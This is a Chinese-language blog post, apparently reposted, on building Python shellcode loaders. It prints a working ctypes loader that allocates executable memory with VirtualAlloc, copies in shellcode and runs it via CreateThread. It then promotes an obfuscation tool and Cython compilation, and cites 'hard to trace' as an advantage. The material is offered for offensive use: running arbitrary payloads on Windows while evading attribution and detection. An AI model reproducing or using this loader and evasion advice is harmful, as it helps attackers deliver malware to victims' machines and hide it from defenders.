标签:int windll loader kernel32 ctypes shellcode
包含内容:
1.传统的shellcode loader
2.Python中的加密loader
3.Python相对于shelcode load 的优势
4.cython帮助我们将.py转.c
5.Python中源码混淆工具分享
1 . shellcode loader
这是一个源码:
import ctypes
shellcode = bytearray(b'')
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
2 . 加密 loader
我(liusuxyds)为此开发了一款转用于混淆python源码的工具AuSuxydsPC
(Free)
link:https://gitee.com/suxyds/au-suxyds-pc
混淆后效果:
3 . Python相对于shelcode load 的优势
1.不易溯源,python属于高级语言,并且使用AuSuxydsPC后更难
2.方便,便于快速实现想法
3.生态好,有很多api等等
4.能转.c
4. cython帮助我们将.py转.c
首先pip3 install cython
或加上'-i https://pypi.tuna.tsinghua.edu.cn/simple'
使用:
cython 文件.py --embed
gcc `python-config --cflags` `python-config --ldflags` 文件.c -o 文件
标签:int,windll,loader,kernel32,ctypes,shellcode 来源: https://www.cnblogs.com/liusuxy/p/16365678.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。